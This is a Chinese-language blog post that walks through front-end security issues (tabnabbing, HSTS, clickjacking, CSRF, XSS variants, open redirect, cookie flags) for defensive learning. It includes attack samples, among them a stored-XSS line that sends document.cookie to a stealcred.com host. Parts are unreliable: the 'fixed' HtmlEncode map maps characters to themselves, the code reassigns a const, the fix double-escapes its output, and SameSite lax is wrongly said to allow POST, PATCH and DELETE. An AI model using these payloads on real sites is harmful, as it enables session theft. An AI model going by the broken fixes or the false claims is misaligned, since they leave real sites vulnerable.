16 个前端安全知识
去年 security course 上的是 React,然后学了一些 一些 React 项目中可能存在的安全隐患,今年看了一下列表,正好看到了前端也有更新,所以就把这个补上了。
一个非常好学习各种安全隐患的机构是 https://owasp.org/
其实很多情况下用户不妨问可疑网站就可以解决……但是吧,educate user 永远是一件非常困难的事情,多做做防护也是必要的。
reverse tabnabbing
这是一个对于很多用户来说非常容易踩雷的一个坑,展示效果如下:
其工作原理是通过 forward window.opener
这个对象实现的,其实这个漏洞真的挺容易被漏看的,因为 opener
以前是会随着 Target=”_blank”
一起被 forward 到新的网页,如果新的网页稍微有那么点心思不纯,就可以写一个克隆网页,然后比较轻松的盗取用户信息。
触发代码如下:
-
受到攻击的网页,假设有人留了个 post 之类的:
<html> <body> <li> <a href="bad.example.com" target="_blank" >Vulnerable target using html link to open the new page</a > </li> <button onclick="window.open('https://bad.example.com')"> Vulnerable target using javascript to open the new page </button> </body> </html>
-
可疑地网页
<html> <body> <script> if (window.opener) { window.opener.location = 'https://phish.example.com'; } </script> </body> </html>
根据 MDN 上说,目前使用 target="_blank"
的话,opener
是直接设置成 null
了,除此之外,两个可以将 window.opener
设置成 null
的方式有:
- 设置
rel=noopener
Cross-Origin-Opener-Policy
设置为same-origin
HTTP Strict-Transport-Security (HSTS)
这是解决一种 Man-in-the-Middle attack 的解决方式,这种攻击方式的图示是这样的:
有些网站可能会有 HTTP first 的实现,加入网址为 https://www.example.com
,它会允许用户访问 http://www.example.com
,并且重定向到 https 加密的网站。对于用户来说,大多数情况下 TA 不会输入完整的网址,而是会直接输入 www.example.com
,这时,访问就会被定向到 HTTP 版本,再重定向到 HTTPS 的版本。
换言之,如果有黑客注册了 http://www.example.com
这一域名,那么用户的信息就会先访问到 HTTP 版本的网站,黑客没有用户信息,但是可以将用户重新定向到登录网址,获取用户信息。
如使用 301:
HTTP/1.1 301 Moved Permanently
Date: ____________________
Content-Length: 0
Connection: close
Location: http://www.example.com/login.html
这时候用户被被重定向到 http://www.example.com/login.html
进行下一步操作,用户一旦提供了登录信息,那么黑客也就获得了对应的登录信息,这时候黑客会将用户重新定向到 HTTPS 的网站。
降低风险的一种方法就是使用 HTTP Strict-Transport-Security (HSTS),也就是增加一条 header,大致如下:
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
preload
是针对从未访问过该网页,没有获取对应 header 的用户,更多信息可以在 reference 中看到。
No Server-Side Validation
这个还是比较好理解的,如果没有服务端验证,网站一旦收到了 XSS 攻击,那么就可以直接向服务器发送有问题的数据,又或者不通过浏览器发送有问题的信息到服务器去。
Click Jacking
图示如下:
这里点击 action 的一个原因在于镶嵌了 iframe,通过修改 opacity 就可以看到逐渐显示的 iframe:
这也是另外一个用户很容易上当的事情,因为看不到,看到按钮(特别是关闭广告的那种)又都会点击……
这里预防的方法有两种,一个是使用 X-Frame-Options
去告知浏览器不要在嵌套 tag(如 iframe、frame、embed、object)中渲染页面,第二个是使用 Content Security Policy (CSP)
防止当前页面渲染嵌套 tag。
对于 legacy support,可以使用 下面的代码:
<style>
html {
display: none;
}
</style>
<!-- hides the document and prevents clicks -->
<script>
if (top !== self) {
top.location = self.location;
} // Attempt to escape frame
else {
document.documentElement.style.display = 'block';
} // If not in frame, make html visible
</script>
Cross Site Request Forgery(CSRF)
CSRF 也是一个比较常见的攻击,常见的一个方式是,用户打开了一个新的网站,这个网站可以获取浏览器中的 session id,然后将修改信息送到服务器,如果服务器不做任何的验证,或者是单纯的相信了这个 session id,那么服务器就会执行相应的操作。
解决方式一般用:
-
synchronizer token/anti-CSRF/CSRF token,一个加密并且半随机的 token
每次用户加载该页面,或是打开了一个新的 session,就可以生成一个新的 token,随后可以通过 HTML、json、http header 等方式传输给后端。当用户发送一个请求时,后端就可以验证对应的 token 是否和当前存储的一样,从而进行验证
-
double submit cookies
这是存在 session 中的 CSRF token 可以被还原的情况下使用,在这个情况下,token 会被加在 cookies 和 request body 中,如果两个 token 不 match,那么该请求就会被拒绝
-
将 token 存在 header 中
这个是依赖于 same origin policy 实现的,这样第三方无法使用该 token 完成请求
过期的依赖
说起来我们项目最近就在用 sonatype 查 dependencies,然后 release team 会看 sonatype 的报告,发现有 outdated packages 的危险性比较高的话就没办法 release。
除此之外,也要申明接受和传输的数据类型,如:
$.get({
url: 'https://www.example.com',
dataType: 'application/json',
});
$.post({
url: 'https://www.example.com',
data: 'test',
dataType: 'application/json',
});
DOM Based XSS
这里遭受的攻击是使用 URL Fragment,也就是不会传到 server 的那部分代码,比如说 query parameter,如:用户被钓鱼网站骗了,然后点击了 https://www.example.com/#filter=Products
这个网址
其中 filter=Products
这一段会被 URLParams,然后作为 parameter 对后端发送请求。换言之,如果代码没有处理过的话,这段代码 localhost:5500/#filter=<img src="bogus.url" onError="alert('hacked')">
的执行结果为:
HTML 部分代码为:
<script>
const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').innerHTML =
'<h2>Filtering by: "' + filterval + '"</h2>';
</script>
两个解决方案为:
- 不要使用
innerHTML
,而是使用textContent
- 清理用户输入信息
修改后的结果为:
修改后的代码:
const HtmlEncode = (s) => {
const HTMLCharMap = {
'&': '&',
"'": ''',
'"': '"',
'<': '<',
'>': '>',
'\\': '\',
'`': '`',
':': ':',
};
const encodeHTMLmapper = (ch) => {
return HTMLCharMap[ch];
};
return s.replace(/[&"'<>\\`:]/g, encodeHTMLmapper);
};
const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').textContent =
'<h2>Filtering by: "' + HtmlEncode(filterval) + '"</h2>';
DOM Based in AJAX
这一段其实和上面有点像,不过上面用的是 HTML fragment,这里可能用户在 input 或者 textarea 输入了一些信息,随着 AJAX 异步发送,前端没有清洗用户数据,后端也没有清晰数据,随后造成了恶意代码在网页中被加载
DOM XSS in eval()
同上,eval 也是单独的作用域,可以用来执行 JS,除了清理用户数据之外,也避免使用 eval,而是换成 JSON.parse(json)
secure cookie flag
简单的说,就是 cookie 中没有 secure
这个 flag,这个是要结合 man-in-the-middle attack 一起去看的,MDN 中的解释为:
Indicates that the cookie is sent to the server only when a request is made with the https: scheme (except on localhost), and therefore, is more resistant to man-in-the-middle attacks.
换言之,当 secure
这个 flag 出现的时候,浏览器在和 HTTP 网站交流时不会带上 cookie,这样可以防止第三方在第一次访问 HTTP first 的网站时携带 cookie。
HttpOnly Cookie Flag
如果设置了 HttpOnly
,那么就无法在 JavaScript 中获取浏览器中的 cookie,这也是一个比较常见的 XSS 攻击,出于同样的考量,现在 JS 是无法设置 HttpOnly 这个 flag 的
DOM Open Redirect
这里指的是使用 JavaScript 从 fragment 那里获取 URL 进行重定向,如:https://www.example.com/signon?cust=returning#url=https://www.eaxmple.com/redirect
, 这里就会使用 #
去获取重定向的 URL,再使用 JS 中的 window.location = url
的方式进行重定向。
需要注意的是,原本的 domain 是 example,重定向中的 URL 的 domain 是 eaxmple,即
example
eaxmple
也就是说稍有不注意,用户就有可能被重定向到假的页面。
解决方式有:
- 有可能的话尽量不要让用户提供重定向的网页
- 如果需要重定向的话,不要重定向整个 URL,可以获取 sub-directory,如只获取
signon
- 添加白名单,并对比用户提供的数据与白名单上的列表
Reflected XSS
与 fragment 相比,这里用的是 query parameter,如 https://example.com?search=%3Cscript%3Ealert('This application is vulnerable!')%3C%2Fscript%3E
,用户有可能通过点击这样的网址,从而被获取到 cookie 等关键信息。
处理的方式,大多数上面也提过了:
- 清理用户提供的数据
- 尽量不要渲染用户提供的数据到关键的代码
- 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header
Stored (Persistent) XSS
简单的案例有,提供这样的代码 Steal Cred <script>document.write("<img src='https://www.stealcred.com/catch?cookie="+document.cookie+" '/>");</script>.
到一些用户输入框中,如果代码钱后端都没有被清理过的话,那么一旦这个代码被保存/持久化,任何看到这条这个评论/留言的用户的用户信息就会被窃取
处理的方式还是:
- 清理用户提供的数据
- 了解用户信息会被渲染的地方,尽量不要注入到有可能会调动 JS 的地方
- 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header
Common XSS Use Cases
-
没有清洗用户输入的数据,其中可能包括
'
,"
,</script><script>alert('We triggered the XSS!');/*
等 ```和${}
等 -
使用
${userInput.a}
获取用户提供的键值对,另一种方式是使用json.parse()
-
代码中使用
eval()
去转换 JSON 代码,同样也可以使用json.parse()
-
没有清理便直接讲用户数据放入
eval
,setTimeout()
,setInterval()
,Function()
的构造函数, CSS, div, a 等 HTML 标签中 -
noscript 其实也有风险,比如说:
<noscript> Please turn on Javascript! </noscript> alert('hacked') </noscript> element cannot be displayed without Javascript! </noscript>
这种情况下也会触发 XSS 攻击
SameSite cookie attributes
SameSite cookie attributes 有三个值:
-
strict
只支持来自同一个域名的访问请求
-
lax
这时候网站支持两种请求:
-
POST/GET/PATCH/DELETE 这种安全的 HTTP methods
-
top-level navigation
根据一个 stack overflow 的答案,简单来说就是:
Basically, TOP LEVEL navigation changes the URL in your address bar. Resources that are loaded by iframe, img tags, and script tags do not change the URL in the address bar so none of them cause TOP LEVEL navigation.
-
-
none
这个情况下
SameSite
的属性跟没有设置一样,这代表着开发团队刻意满足 cross site 请求,因此需要设置secure
有一个解决来自外部访问的方法是,READ permission 可以设置为 lax,其他的操作 permission 设置为 strict,这样来自外部(第三方)的用户可以浏览网页,但是没有办法操作
Reference
-
Preloading Strict Transport Security
-
https://hstspreload.org/.
-
X-Frame-Options
-
Content-Security-Policy
-
Set-Cookie
-
How do I set the HttpOnly flag of a cookie with javascript?
-
What is top-level navigation in browser terminology and in what ways it can be triggered?